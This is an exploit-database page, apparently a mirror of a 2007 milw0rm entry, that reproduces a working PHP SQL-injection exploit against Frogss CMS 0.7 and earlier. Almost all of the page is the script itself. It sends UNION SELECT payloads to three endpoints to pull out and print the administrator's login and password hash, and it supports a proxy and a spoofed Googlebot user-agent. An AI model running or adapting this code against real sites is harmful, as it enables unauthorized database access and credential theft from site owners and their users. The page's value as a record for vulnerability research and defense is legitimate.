Lucene search
K

Frogss CMS <= 0.7 Remote SQL Injection Exploit

🗓️ 13 Apr 2007 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 9 Views

Frogss CMS <= 0.7 Remote SQL Injection Exploit. This script allows an attacker to execute SQL injection on Frogss CMS version 0.7

Code

                                                &lt;?
print (&quot;Autor: Kacper
Contact: [email protected]
Homepage: http://www.rahim.webd.pl/
Irc: irc.milw0rm.com:6667 #devilteam 

Pozdro dla wszystkich z kanalu IRC oraz forum DEVIL TEAM.

Frogss CMS &lt;= 0.7 SQL Injection Exploit
script homepage: http://frogss.com/
\r\n\r\n&quot;);
if ($argc&lt;4) {
print_r('
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Usage: php '.$argv[0].' host path Vulnerabilities_number OPTIONS
host:       target server (ip/hostname)
path:       frogss path
Vulnerabilities number: 1 or 2 or 3
Options:
 -p[port]:    specify a port other than 80
 -P[ip:port]: specify a proxy
Example:
php '.$argv[0].' 127.0.0.1 /frogss/ 1
php '.$argv[0].' 127.0.0.1 /frogss/ 2
php '.$argv[0].' 127.0.0.1 /frogss/ 3
php '.$argv[0].' 127.0.0.1 /frogss/ 1 -P1.1.1.1:80
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
');
die;
}
error_reporting(7);
ini_set(&quot;max_execution_time&quot;,0);
ini_set(&quot;default_socket_timeout&quot;,5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i&lt;=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) &lt;= 32 ) | (ord($string[$i]) &gt; 126 ))
   {$result.=&quot;  .&quot;;}
   else
   {$result.=&quot;  &quot;.$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=&quot; &quot;.dechex(ord($string[$i]));}
   else
   {$exa.=&quot; 0&quot;.dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.=&quot;\r\n&quot;; $exa.=&quot;\r\n&quot;;}
  }
 return $exa.&quot;\r\n&quot;.$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function wyslijpakiet($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    $parts[1]=(int)$parts[1];
    echo &quot;Connecting to &quot;.$parts[0].&quot;:&quot;.$parts[1].&quot; proxy...\r\n&quot;;
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
}

$host=$argv[1];
$path=$argv[2];
$action=$argv[3];
$port=80;
$proxy=&quot;&quot;;
for ($i=3; $i&lt;$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp==&quot;-p&quot;)
{
  $port=(int)str_replace(&quot;-p&quot;,&quot;&quot;,$argv[$i]);
}
if ($temp==&quot;-P&quot;)
{
  $proxy=str_replace(&quot;-P&quot;,&quot;&quot;,$argv[$i]);
}
}
if (($path[0]&lt;&gt;'/') or ($path[strlen($path)-1]&lt;&gt;'/')) {die(&quot;Bad path!&quot;);}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
if (($action!=1) and ($action!=2) and ($action!=3)) {echo &quot;select Vulnerabilities number (1,2,3) ...&quot;;}
function char_convert($my_string)
{
  $encoded=&quot;CHAR(&quot;;
  for ($k=0; $k&lt;=strlen($my_string)-1; $k++)
  {
    $encoded.=ord($my_string[$k]);
    if ($k==strlen($my_string)-1) {$encoded.=&quot;)&quot;;}
    else {$encoded.=&quot;,&quot;;}
  }
  return $encoded;
}
if ($action==1)
{
print &quot;+++++++++++++++++++++++++++++++++++++++++++++++++\r\n&quot;;
print &quot;Frogss CMS &lt;= 0.7 SQL Injection Exploit by Kacper\r\n&quot;;
print &quot;Vulnerabilities Number: 1\r\n&quot;;
$packet =&quot;GET &quot;.$p.&quot;katalog.php?dzial=-99999999'/**/UNION/**/SELECT/**/0,CONCAT(&quot;.char_convert(&quot;&lt;!--[&quot;).&quot;,haslo,&quot;.char_convert(&quot;]--&gt;&quot;).&quot;)/**/FROM/**/uzytkownicy/**/WHERE/**/poziom=0/* HTTP/1.0\r\n&quot;;
$packet.=&quot;Referer: http://&quot;.$host.$path.&quot;katalog.php\r\n&quot;;
$packet.=&quot;Accept-Language: pl\r\n&quot;;
$packet.=&quot;User-Agent: Googlebot/2.1\r\n&quot;;
$packet.=&quot;Host: &quot;.$host.&quot;\r\n&quot;;
$packet.=&quot;Connection: Close\r\n\r\n&quot;;
wyslijpakiet($packet);
sleep(3);
$t=explode(&quot;&lt;!--[&quot;,$html);
$t2=explode(&quot;]--&gt;&quot;,$t[1]);
$pass=$t2[0];
echo &quot;Admin Password: &quot;.$pass.&quot;\r\n&quot;;
$packet =&quot;GET &quot;.$p.&quot;katalog.php?dzial=-99999999'/**/UNION/**/SELECT/**/0,CONCAT(&quot;.char_convert(&quot;&lt;!--[&quot;).&quot;,login,&quot;.char_convert(&quot;]--&gt;&quot;).&quot;)/**/FROM/**/uzytkownicy/**/WHERE/**/poziom=0/* HTTP/1.0\r\n&quot;;
$packet.=&quot;Referer: http://&quot;.$host.$path.&quot;katalog.php\r\n&quot;;
$packet.=&quot;Accept-Language: pl\r\n&quot;;
$packet.=&quot;User-Agent: Googlebot/2.1\r\n&quot;;
$packet.=&quot;Host: &quot;.$host.&quot;\r\n&quot;;
$packet.=&quot;Connection: Close\r\n\r\n&quot;;
wyslijpakiet($packet);
sleep(3);
$t=explode(&quot;&lt;!--[&quot;,$html);
$t2=explode(&quot;]--&gt;&quot;,$t[1]);
$login=$t2[0];
echo &quot;Admin Login: &quot;.$login.&quot;\r\n&quot;;
}
elseif ($action==2)
{
print &quot;+++++++++++++++++++++++++++++++++++++++++++++++++\r\n&quot;;
print &quot;Frogss CMS &lt;= 0.7 SQL Injection Exploit by Kacper\r\n&quot;;
print &quot;Vulnerabilities Number: 2\r\n&quot;;
$packet =&quot;GET &quot;.$p.&quot;forum.php?d=1&amp;t=-99999999/**/UNION/**/SELECT/**/0,1,CONCAT(&quot;.char_convert(&quot;&lt;!--[&quot;).&quot;,haslo,&quot;.char_convert(&quot;]--&gt;&quot;).&quot;),3,4,5,6,7,8/**/FROM/**/uzytkownicy/**/WHERE/**/poziom=0/**/LIMIT/**/0,1/* HTTP/1.0\r\n&quot;;
$packet.=&quot;Referer: http://&quot;.$host.$path.&quot;forum.php\r\n&quot;;
$packet.=&quot;Accept-Language: pl\r\n&quot;;
$packet.=&quot;User-Agent: Googlebot/2.1\r\n&quot;;
$packet.=&quot;Host: &quot;.$host.&quot;\r\n&quot;;
$packet.=&quot;Connection: Close\r\n\r\n&quot;;
wyslijpakiet($packet);
sleep(3);
$t=explode(&quot;&lt;!--[&quot;,$html);
$t2=explode(&quot;]--&gt;&quot;,$t[1]);
$pass=$t2[0];
echo &quot;Admin Password: &quot;.$pass.&quot;\r\n&quot;;
$packet =&quot;GET &quot;.$p.&quot;forum.php?d=1&amp;t=-99999999/**/UNION/**/SELECT/**/0,1,CONCAT(&quot;.char_convert(&quot;&lt;!--[&quot;).&quot;,login,&quot;.char_convert(&quot;]--&gt;&quot;).&quot;),3,4,5,6,7,8/**/FROM/**/uzytkownicy/**/WHERE/**/poziom=0/**/LIMIT/**/0,1/* HTTP/1.0\r\n&quot;;
$packet.=&quot;Referer: http://&quot;.$host.$path.&quot;forum.php\r\n&quot;;
$packet.=&quot;Accept-Language: pl\r\n&quot;;
$packet.=&quot;User-Agent: Googlebot/2.1\r\n&quot;;
$packet.=&quot;Host: &quot;.$host.&quot;\r\n&quot;;
$packet.=&quot;Connection: Close\r\n\r\n&quot;;
wyslijpakiet($packet);
sleep(3);
$t=explode(&quot;&lt;!--[&quot;,$html);
$t2=explode(&quot;]--&gt;&quot;,$t[1]);
$login=$t2[0];
echo &quot;Admin Login: &quot;.$login.&quot;\r\n&quot;;
}
elseif ($action==3)
{
print &quot;+++++++++++++++++++++++++++++++++++++++++++++++++\r\n&quot;;
print &quot;Frogss CMS &lt;= 0.7 SQL Injection Exploit by Kacper\r\n&quot;;
print &quot;Vulnerabilities Number: 3\r\n&quot;;
$packet =&quot;GET &quot;.$p.&quot;forum/viewtopic.php?t=-99999999/**/UNION/**/SELECT/**/0,1,CONCAT(&quot;.char_convert(&quot;&lt;!--[&quot;).&quot;,haslo,&quot;.char_convert(&quot;]--&gt;&quot;).&quot;),3,4,5,6,7,8/**/FROM/**/uzytkownicy/**/WHERE/**/poziom=0/**/LIMIT/**/0,1/* HTTP/1.0\r\n&quot;;
$packet.=&quot;Referer: http://&quot;.$host.$path.&quot;forum/viewtopic.php\r\n&quot;;
$packet.=&quot;Accept-Language: pl\r\n&quot;;
$packet.=&quot;User-Agent: Googlebot/2.1\r\n&quot;;
$packet.=&quot;Host: &quot;.$host.&quot;\r\n&quot;;
$packet.=&quot;Connection: Close\r\n\r\n&quot;;
wyslijpakiet($packet);
sleep(3);
$t=explode(&quot;&lt;!--[&quot;,$html);
$t2=explode(&quot;]--&gt;&quot;,$t[1]);
$pass=$t2[0];
echo &quot;Admin Password: &quot;.$pass.&quot;\r\n&quot;;
$packet =&quot;GET &quot;.$p.&quot;forum/viewtopic.php?t=-99999999/**/UNION/**/SELECT/**/0,1,CONCAT(&quot;.char_convert(&quot;&lt;!--[&quot;).&quot;,login,&quot;.char_convert(&quot;]--&gt;&quot;).&quot;),3,4,5,6,7,8/**/FROM/**/uzytkownicy/**/WHERE/**/poziom=0/**/LIMIT/**/0,1/* HTTP/1.0\r\n&quot;;
$packet.=&quot;Referer: http://&quot;.$host.$path.&quot;forum/viewtopic.php\r\n&quot;;
$packet.=&quot;Accept-Language: pl\r\n&quot;;
$packet.=&quot;User-Agent: Googlebot/2.1\r\n&quot;;
$packet.=&quot;Host: &quot;.$host.&quot;\r\n&quot;;
$packet.=&quot;Connection: Close\r\n\r\n&quot;;
wyslijpakiet($packet);
sleep(3);
$t=explode(&quot;&lt;!--[&quot;,$html);
$t2=explode(&quot;]--&gt;&quot;,$t[1]);
$login=$t2[0];
echo &quot;Admin Login: &quot;.$login.&quot;\r\n&quot;;
}
?&gt;

# milw0rm.com [2007-04-13]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

13 Apr 2007 00:00Current
7.1High risk
Vulners AI Score7.1
9